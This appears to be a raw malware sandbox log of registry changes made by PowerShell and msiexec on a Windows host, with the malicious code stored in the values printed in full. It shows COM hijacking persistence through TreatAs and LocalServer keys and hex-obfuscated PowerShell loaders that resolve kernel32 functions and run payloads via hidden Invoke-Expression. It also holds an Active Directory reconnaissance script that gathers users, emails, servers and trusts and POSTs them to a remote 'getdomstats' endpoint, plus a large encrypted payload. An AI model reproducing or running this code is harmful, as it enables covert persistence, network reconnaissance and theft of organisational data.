7827297d66756e6374696f6e20786a377b706172616d2824616d382920286f7938202732343739364433303344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343739364433303245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343631364433383239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343739364433303245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437393639333832433234363136443338323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373936443330324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3132352d3132315d2b247073686f6d655b3133362d3130325d2b277827297d7a68342024626d332024626d332e6c656e677468202828353131382b38353037292b33383735292028282834332d3136292b3438292d31312966756e6374696f6e206f6c387b706172616d28246968382c2462713329202861673120273234363236383339334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343646373233353344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343632363833393245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363236383339324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364637323335324332343639363833383239323927297c2628247073686f6d655b3132312d3131375d2b247073686f6d655b3134352d3131315d2b277827297d powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{000A010B-010C-020D-030E-040F050F0610}\VersionIndependentProgID\000A = 2471683562727c7d286729227b645a276b3c7a77504a61693142653a565b736c285d39573e2b4b3240605326434d3f3b7e782130255f446f33522d6655372f755c486e415e47544f453363776c37756f6b677362666a64656130697934316d387871396836727032766a305f557e624f5d65734537697822253e2d2e407739614a49482b745842384c297c63315e26363d6b4e7b544d2451647a52355a665b2770467159576823563a6d4328606f33217d75473b672c792a powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\0577 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n#$file = 'C:\\Temp\\transcript.tmp'\r\n$file = Join-Path $env:temp \"pers132.tmp\";\r\n$fileASCII = Join-Path $env:temp \"pers132a.tmp\";\r\n\r\nStart-Transcript -Path $File -Verbose |out-null;\r\n\r\n# Function to help post HTTP request to web service\r\n#Function PostWebRequest([String] $url, [String] $data, [int] $timeout)\r\n#{ \r\n ##$url = 'XXX_TRANSCRIPTURL_XXX';\r\n#+ADD\r\n $url = \"%MARKER%/getdomstats\";\r\n\r\n#$data = @\"\r\n#test2342=test1\r\n#sec test\r\n#\"@\r\n\r\n##write-output \"Begin\"\r\n\r\n\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n##Write-Host $data;\r\n\r\n\r\n\r\n##write-output \"End\"\r\n#####\r\n\r\n\r\n\r\nStop-Transcript |out-null;\r\n\r\n\r\n\r\nif (Test-Path $file) {\r\n\r\nget-content $file | set-content $fileASCII -encoding ASCII\r\n\r\n#$data = Get-Content -Path $fileASCII\r\nif (Test-Path $fileASCII) {\r\n $fileSize = (Get-Item $fileASCII).length\r\n \r\n $timeout = 5000;\r\n \r\n #$buffer = [System.Text.Encoding]::UTF8.GetBytes($data)\r\n #$buffer = [byte[]][char[]]$data;\r\n \r\n \r\n [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url)\r\n $webRequest.Timeout = $timeout\r\n $webRequest.Method = \"POST\"\r\n $webRequest.ContentType = \"application/x-www-form-urlencoded\"\r\n $webRequest.ContentLength = $fileSize;\r\n $webRequest.ServicePoint.Expect100Continue = 0;\r\n\r\n\r\n $requestStream = $webRequest.GetRequestStream()\r\n \r\n\r\n $fileStream = [System.IO.File]::OpenRead($fileASCII)\r\n $buffer = New-Object byte[] $fileSize\r\n $bytesRead = $fileStream.Read($buffer,0,$fileSize)\r\n\r\n $requestStream.write($buffer, 0, $bytesRead)\r\n $requestStream.Flush()\r\n\r\n \r\n# $requestStream.Write($buffer, 0, $buffer.Length)\r\n# $requestStream.Flush()\r\n $requestStream.Close()\r\n\r\n\r\n [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()\r\n $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())\r\n $result = $streamReader.ReadToEnd()\r\n}\r\n ##return $result\r\n\r\n#+ADD\r\nforeach($x in @($file, $fileASCII)){if(Test-Path $x){Remove-Item $x}}\r\n\r\n}\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\TreatAs\ = "{000A010B-010C-020D-030E-040F050F0610}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{000A010B-010C-020D-030E-040F050F0610} powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{000A010B-010C-020D-030E-040F050F0610}\VersionIndependentProgID\ = "{0A010B01-0C02-0D03-0E04-0F050F061007}" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{000A010B-010C-020D-030E-040F050F0610}\LocalServer\ = "powershell -w 2 -nologo -w 1 -c \"& {(-join('24726976736C6B3D2730363130273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B63753A5C736F6674776172655C636C61737365735C434C5349445C7B30303041303130422D303130432D303230442D303330452D3034304630353046303631307D5C50726F67494427292E24726976736C6B29297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\{0A010B01-0C02-0D03-0E04-0F050F061007}\CLSID powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\TreatAs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\ = "{0A010B01-0C02-0D03-0E04-0F050F061007}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{000A010B-010C-020D-030E-040F050F0610}\LocalServer powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{000A010B-010C-020D-030E-040F050F0610}\VersionIndependentProgID\0610 = 74f03558bb28a5011fcc260dc885542423888a45b55d65a8df304f0ea0c879d51a1f611e4a3938ddfaf8c7a33fe2eb7550ca53ef7e88a6410d897f5b97cd969447ea9452b5249ae37f90c19433c40b4741732cf84eb781e4653ddfdc9804287438d1d41e53d5ca7fc908a4ff0dda8aa23acb5f43c0bab5a397692a843c66bd7952eced5491c0feb26458f9ec75115ad03bbb8df07c04a1d2320371693f2cca9004abc9f74e36f7191933005a6a1c6af251157e30235d8ba8ae14d805bb89a93805f168d8738879b4bb7d8180a315d82d3e26f86730def19c206c46aa32d48536020e7bf9f9af0dd44a6bc10b0b54fd17574bb5298dfbeaab6dc9166e2ad2f6db3f8d9fb726472daf34ebdb575a28f4d611be161376735620c742e1cbeaa605768354f37fcc5aa6752467fcea1dee2cc4b16ccbba17ef44ccc976940e42da21d7d75ec098d695d222f1c2e5fb2fbb3acba928524313b105f55f3ab8c48575bcde70be7ea923fa18142726ae811a3a0d21cef9db90d231b3e2b3d0e9dd5701fd0d3e517929f3ac815fb2bd8ef46078177ba69fb153d2e2d1ec79520b8c40fbe90ae448fd3b1dca028193e97bdc6e4df6ae49b46aa6b42cb97d27be16165cefd6c18341cf32d3a164e5da78727a5db95a7fa3d4424e18f91b2712d9cd20be1d824bc536bd5ab32106b68abbe4b2dd1a6db12c0f1ac8f1ebbe9f5c4ef3e33e2bac4c0f5c0669446f99321797244a49f026ed14488b569d455e10710a011c061fc760da539925f3182bae9283f590f2f4bae24ad51e366d442fbce31e94465dd700a2fe8f51639c918b590fdc36432a3149d8d6e18aacdcb6a136c51ec62cbb75fdefb4a1b5e659c947082adc9f4b73abde60f75df5fc4da5eaf391c49acdc15cd7331df8bc531f9ef6d774aba7fe00b60ae9b44ae882104c92217b93d3a863d0fd06f0008f22c91a26c5fea656de08d1545c4d16f4fd3b76289f6c00d9fe5d18a61b45d6ab59fc8acdb6c894fc851f8b9c25dda975e600ab163965aa3cea9612ccb4bd1054f3df8cae1300f96a7873402f578b9f471ce5079d1eb288627bfa332a919ee8d8b66823d10961673ce8402d53a4163aba87b9490eb3731008eff4f90cc3fd2e9d4aafcdb271f8c41e3fa06db15abcb3a7fd6e9afb917839dc47005820df1aef7db766693782b08c1d651d8c16147d6c780d15cf164b232a0ad876331aaf8f298863c8c378d1e6e6970f1a4675f3be6bed406c648aace33544ba2c07aad8980cae1f8019139ba28b4c5be61eec350661dbd7b0cbcf18d039657b899227e0764a042a20f304da6ef93d08fa332afa38e7fd91063eff6633a1c84ed129e2aef13908822ec9f48be51c1b544d1f47faa6c545b1a6694a7299d4a8b51b221f3b74b0fd847541e686b2f20d3a02ce4cad01a6c9789b01b2d1dcb971747b972fa1168c3351ef5347a06448337a98578ea19bd8234a1bf28bb469353931565793ae438b3f2dd8551edc4a212d9b5c18844878c531b1f790daad3e031a87f11ad274c815fa712901b1368a4b3f4066dc5e2aed1af4a05f0a4551add97eb61042474e97168882d9f1ec18fb490a6de0b6a7cc6e63251f125ce7e2910a9e908c857392fadd5c41abced011cb8f27263d79a4ad02e6cb9407644283cb4200270f3274869aad1ca9c66a8f5969a7c3c2a0b2ce5f4a17f94aa3eea6ad9822d8a79bbe22ffc3a84879e48ed33479654cfd67ac53004c76d87dd34459df687fae444db4676cf0038829f87472a72b43eab3ce2f167dc61f8782871a1556920c4816562d940a5b747209be2fc4362b80301e711a24679fc3fc6c91536d1d1657b23e04e87ef60c49d30459eb4b7b31dfaef1837532b27aa67816b4e6cf5754e1c92c1a09292af801a66cfc049992587ff01c65512f340b849e182206b470b52459ee311b1ae3e706dd95af727b2ea95384b581ec7e4d1dd6e41e7d92bdced23c55f3cdc9ee86d94003bd5965c91a7fef16366668bd994ff30b7e37e494cf4ea972276329f09e09852ee169ecb267c17ebe752dba873f42e30415a59ed6832fcfa6050fb30c7c4d8a5774502e9d609adc4dc939e90b0b95afe3556072128b2cfef2bce45c134ff09fdb3078e3a58bd0c5b414b7df52144d2f46541ee451eb8da49cd078fcc1d22aebde851dfc6b8adea37627f7e0fa55ed497e75c943e4f0f6abb35d4ed2735cf519692ac9e8248605673d8d330c712ad0c5c786b403e805808e9232805b507e91fd2c99ef17ab04ef505ae66bba94d396422f5164fd5c769d5d06feaef6d434c3f04e6ef67a0a747e32b1eeea479ddc2434b17f9858fcddafc277c9a55e231172a835b3ad69d0efeb1404e9be89c6cb5c848247d08726f857f8aad04265e94e50f701337d8654e0f1ee296c9168499369335c3b0dd41cd58ebc28f0bcf6191f5f09fdf26006722a91341dce0a9733416665a52153d0b48f718264bf14a9241c7818a776cfc4d73bc0d231be692b75f9876d11326cf07436019db08b3e0fc3767c6c0579696872c896c6a310d92a751c08b0b884122dbdbb279cb4544b6f0a5ba8aee9894cd6bc4dcb55e5f11d21db717181fef99040a3ddf84239d0fb72b9ca06d7f7060d9e3bc615626c1b9074ec7400c121d168ddb21f4abb3e60e1277f4f956d2b69c3e62cfb3209a759a5fe31ac009a9e74a6a56194f6e78660ffec264b754a8788ae4e6d771721d0d9fab5f0ff0e92ff8acf85bc51db066933e934533dd2a0dd6a6fb3da3110309ca0fdd22b95b5fa5ca9ab7ac4a021a3f6936d5bf1f9cfeeebdf6984a0ccf70f169a6c7ea920c6ac92f1383840f2ebb49c0245c9fef7c2e382de2c87dc215cd676701403ced1eed5e4053081ec38a79b607d285ff7a65734a7605258361f6314d9b15c0fa76d09566f6d6d5eecdd9b9f5ed45ee5933db9d6ce0eb322a50dc45656e37de4fec741f3de651f76563270509b1fe1540e472114e397eb4fced5cca2c1bb2cd9ffea1e215b46b8a944435e2c6bfd8da1c82a89161555fe55d8095b15892f062106736dcbd31250d23afeb65dd0106c67f410c708f849d8d525a3af799dec1fd70be825e1ae7644e5216160a7103768c34086fa870a79978996780692e559678fdf6f7ccba4358a2c0fbcb872a31cb17f12156072ab5e5da3ac2aeeb3ae2b0a513f724113f3881c9cde06449563ebafe00e2d6cb601f8f25ec4713111735e193a51cc78bef4365fea4059cfb19085199d7846a73bb628e762117ec143c39465341e43e0c525cdd638293cfb352ae907166feb2fe5935c5a3e6869142da2cea65a3c4ca43c8dad512923aefcf7b094904acb6b00bd957d7ba3a1e62f129d9698ed36748aec60b005a53ebac8d0b620ce56b026b4b477d7444d3edf265dc0ff3a37dfb9f1ad70da65e015ae4df7339320143db9ab6bdf55e8ed8d2defe83f6dc9067e33b1010f703c90a01171e60dc9b635c03fe8036c33cd4705ca7c5fe485544af54d9d1b6fbcaf4645ec5fe560ee86bb4c5fe184060fcff46c1765450bcac73961e9c23de8fec856747d6c0c70eb36fe8ae7c999944b2b3f2dba1ed5e08ef600ce7a9921b697005e2467c84fa83cadbebb5d7ae9d8cb437dde371c94ab5934ffc5be4ca61d221164f6f74446e57fa3bda93d16a66a431700cf91f9a101c5fdb47013857c87c18c73c7f2462c7af976fe09ea7f6d31e0283fdf3178dab05fc43aef8b5faabdb52cc5de47cf7c6f1e234dde03c263f103944124d6d0caf2aaf2a9a91abed38925d39fcd9b55d47f919c87941d04075db712dedf74762826a6e160f8b5bc3a2233f4956ac8bf7b074c0aaab8cde1e49b0dea5cd85ef94a7b1ec97af90f37de5ba17f2f1587bac97cf9c8c5fe8453b419889869de87fed8714cc7eb56de038e7e1ad10b3cae2959a53ed11d60e119afe1286dbf5666bf4304c66077b4eae5f3de89d036dee221292517a3c41f924af20ab8e242c17cf8137e9ffd9dafcf6d5477d1d68a903d658f9e69c4da1b0055d00dd17dd4c4e367cb81cde73dd081ed86ef9d971ce31f7fe61d7bb3ed6f89acbd078024dac2e67e946bf3dbbf9d15f9764cd559b96df8aea3692a9b6cc83d94ca5dfe8fa78875ae90a84b25669021a3870f55b99b2bc66997cd28d8b1fb26404de82db32a68a1ccfb0450dde3dc4e07708263fbfebc8e54b4c923bda122bc8d4ea5c1591e8e7a47c4ea2dad5c2ee32353081867eb94ce5fe855c5d7206f7211d9a900ad849b3a2be7f4671ef12627f3ce8bb8d63bb26d42248a2b8e31ef0ca398faeb1b5daff8655d8e6829ed8a6b39931bd645ff942200d41ec56b7dda662b2bfadce90465104c5d02969b80a4a2dcaf3f8c8a5f5164a60502e30f0fba985b1351fea87bd2e8ce9c5ceea73a838291e89a31d5ffd2aea939aaeb0fe92d6c35bbda31e4050f729f3adc8043d062d7944bac8a10429cbd218d4bcf69ec861a2eb0225c03dc66eb4e49f42901e65f4119267de192045918ccd20ac90dfb7cc81fcff9a492a52111ce76a875f03cfc784e41d3b6278503ec8174ab920158fca51124a8efe51cc336de3305b94dfec46eb9fbdd7e5a491d6b3465747a91c9b01ea34a9b13fabca2f17069eb9b9bb39bf01d6bd704bdd18de505fe7e5ed5ab7923ad9c3584a557b341f93aafceac1f8bee562c3346a442564bb368cd17e4a3d97489af9688289fa6c98145ec252a4758bb19996b2fbe0fb1b2ac8568a29dd552359f551e3e3dc14188e8d4186fe378cef5b2eb252d53d9872498d0c39f1352f686aa364194023b39df287a35180de7a6cdda9674f57c19cd0a3a3c69bc4b9fa2f9539e5e5a1b804ee3043525d3ba69db87f0e934245d1e12ea51e602dc7ccf54e2bb7640b437d66b0661c175f752f87bd9f979a7ef0f0b541bbb10dc79cbb6b66dfe0e1ecff4f094b5ba6e28b187f8bebfb7db738131750c4b7f2934b0398447f01556dd24b3e48f5a92788665f0bd70a707e181f4c07f7a46f82770107452ccc0d4f19cbf28d9d4258c47cc85161e8212563756b3c6f74cde59128c024d66624ebe13a33ef183aa32950dd9c57c6f2bd719d433b469e47e5622f1a7171ff5134f0ff96babedb868751211797137a2653f25f87dc819366220bcc2fe1c2d4b87779a02970fd977c8bf36044cf547b71e889535dc14835e6e2dcb212d400a9f5765bd99968430d27433fe251f0f965ae1ba826f19c67c2310a60da9e942111819cb63d4fc2f5b6abe617aa7fcb9719fb707abaac07671165b2e4a4e99e4739e9ef8a3984d5f6c0ab87da50f8a96cdcdf207c7f4721c1b0119117f094e238d10d0654107d5d7501323677b43f0304b44e17678c527319924d36f899f5542393d6301180fd8fb018275f083a115e85d15613d1a700862250be89fae5b97a2e201e8a99b0e689c6e1e1196e904628a9a840d251bc4663001a40048940608041c82ee95001e65f2e46bb42aa963432194b5deaef093bbc681d6faa06325bace463a946c4ff751ad5f075bce733b31d14ebd01820ac6a967bce88e8217b7cf07142187ff1440c6896d46c7750726f1c1d90fc8ed5419bf7a736bac2a2c42f79137302d87f0eebf763ee66d5412332f0de9c3452e370ffae1f61b76a3356b6a9c0d75301377bcf172a885787ceb1c2fb16fe446f6266e886317e88d6a15283de650178183b2be1312f8e83be279833efc1375c53c40ecc7930e818502b037f4e4d3dbdbc371a1bcbd4e27c0a8eaba286c0227b075d4616e30ed3aee0ee8f87412e89bec5a1ba7e24ad541124c1dcc665a63d6b3bfe740ae22df35e6932ddd8b1c510748d4b16233e535a8614926bd701f022f2778aacc12712dc5bd67800f3286ef3c8af94f91102fc60b29c4e0204b07cea7bd99a1cff8c53406fa6b354ffef99a8ac0fb18e9729f097ab4d591c453289185c55949e57c3881be49de35a922ebdcd215fb99266a5c2e1b53472f33f6bb3286ae69c68771e5317d2c6594f00f9097e0b383e13624f6d1e05dc49973ce6db75786816c4ccfaa26395d0b4892401589b810918b361a6106968ffa96f88c473b1c92e94bc79e1b9f9837cc2c0003ceb5be38060b6bccbee1f71ac7a3f4e6c0abe4f6a496f48b953c7e620121864a854a136af669b2a5476d578fd9c112563ae5ef16d6171b48c6949eddc03dc94cc7025302a2d9eb4f092a235ca643c06b32ca59e51cd974f000a26b8c451c97c8b54e9ea3ab7d5c2980eafd43384438601e61b93687e6006387094e5e641ed21b14600ed7731a217d096f0cf620ee18c6a5530af56b92f773c022c1b0775b175b5e287694259273fc873db252642a732d210372c560370ef98221b34c8fe11bda59dcffbd7ac7beb14c3162ea0c468338663b9911aaa6fbc11eb2fcf45e656038c06f9bb3c1b3e116ea1e47c1ad800add4f2a3e04fd182f1fb24a8de956deeb18c4fe5c61dd8e6b9434e1c6a60126cb920c4d77afb5e658f7b28cd0e688ff00af37ba3fbeaae384b50b95c8db9a359dd444353e0d0f7549f97afc638c594f48086adbff92e6d0e0b7cd9ddc9bd4ba2fe80c054160841e4d1bcd4c676ef835e1772b59e83cde548aec608724cfc8c184e6ff125e2b2f9e23ae8339ee582fd40937f5dcc7f049ace24608e653d9c19741e6490e53191a8053d01484cf6af30dfb810c2fd76aca9ae6a37dab6ba44ec8701cf2348cecda7df94ad94a435458d0a9fd046ba6e783e99da031da0c5ea15dc4b7416705ee25b4b529e30f1427af4a5811771feca79f657ef51460c98026760771a652d566aa81151fa3230d7d23d5b2d73fda332c66fde6b57958a70cd000a18fae4f3d3c1c9bac766f046e81e5208688ac49ba48a35538d131f2e85edb035381da6279ebb531c8ca190e349825f37c0020f023071a015cc5b6515962bf044e0b83e0afb8bd69fd02afb5c2cdab27d5096e72d56f718b6216a4c81184951a815f9826ef3e640d5a5e1cca75129da74a4c7f8300567fe1b2254d8736a23ece1eb20fd6acf2387b65c2b7243f79bee36bad4e9b741a1ddc2a9b38f3c63d78c8de297994d9b7c51eec78aee186498d831dd8b5f677204da760f3f85e74b2906a2cf59a94c61bfda0a3482be530e419920438f91acad9e9f285e729339b0a76c7895b7871661000df085adf20b509321582617a6b65216b29e3f21d08078ef2e1128a9b410fb5212d28aef7e3b9d9ed39caddcde21e5f0e1b43b92a32566066581ac22ad9d42b0767dfe0a07e35dcc7d0d4d1bb566bbcb0daf204dae91c8afc4ea5fff50a43c3172b91b1abb55e3d2ec7eac30370c2b9863ca793d1ecf94b9f4c47de85db680d460c0655c48a566741d4a6c3137787a5f8284055007459e719ba8ac93723b10b570b42f95a11f7790c1379e43ac0f9aa2eb0bf47ab69b1f09aa71787a893a0c94df0ab288b61bb9de689c273e3b699dbbc7dcff1ea0eb66682f00557f4b374143ec23051dffa65e495095f14b46c70169ddde6583e54de6d52727d9de670f5a669f5c82c4bf158c701065878712eb6eb04a94d12edb797f7f9a4895848f74523aafa5818389826a4b5621ae002eb3463782260186da999d23754459f18d3a4d4c98575a2472e16cf7019eeffe07559d95a86e7597da45a6359b0e38975e2dfcb24ec7928eee4e0b747424aa555687d3a3c2feb4e462fed11bc9faa901b0dd4d13946960bff915e88c8468e833a546607290a5f38e0ab91c97fdc0d3589a46f85f9e091be8bd3fcf8fb1e87e6a8b9a6ac07e4abdccf12658ce9d7702a76eace38b8cf379d425ddd0afff23de9036f965885332e750ca3a555a2f5f38b9eff9c8fd57a8b51c36c291e194486e51cf2e7c45d9beec655f3eea1f88511fff424151f253e184a241563f9f40a10ece65738cec0e59366525fe84686d72677e1dd827ccd677a8841ab908718b88a945cb383b0c14c71bc94836c86a7b39ad632a070c0af204ef77e15b8815e147c4cee68ef3511df1d23f111e8db9e6b3a36006ae8e3a5b1da264cd519f7b66c44160a9e23e5b13867f2c63f69aded1092c6b26d979957fd651740cf6e72521fc1ec756f17fff64584526177cef4285e1093add7b1840983372ac90e4f96b83886f1be61539ce63c10063c38512ca6681ca91411d476a5515d95c80016e47a6422646c7c1c8329bb563fb9975153241e800799228e7f6694d2a1bb531b9fa1ddaaa18c107e4e76385c970319fabfd5495f96a829946691052bf614cfb0aff3e7f5641ae6cd0f3e80674f09d3e6ba38c32da812ed2c6f66d836f9a23408d2f80be37ed148cc079fe213867adf01258497dc58b9828c15c95fbc69243b4c95e669a154a0880558fce888969206f58db7c15d2f5be21539d998c4ee4eb418b8b2e8726356fb94bbd436988c42c4d0b13ff6f7d1a8ce1224ddf48d49173fc22fd639cdcb05c29cf3300e602846f14f26f846fb2af88c1f1e19375981d5582d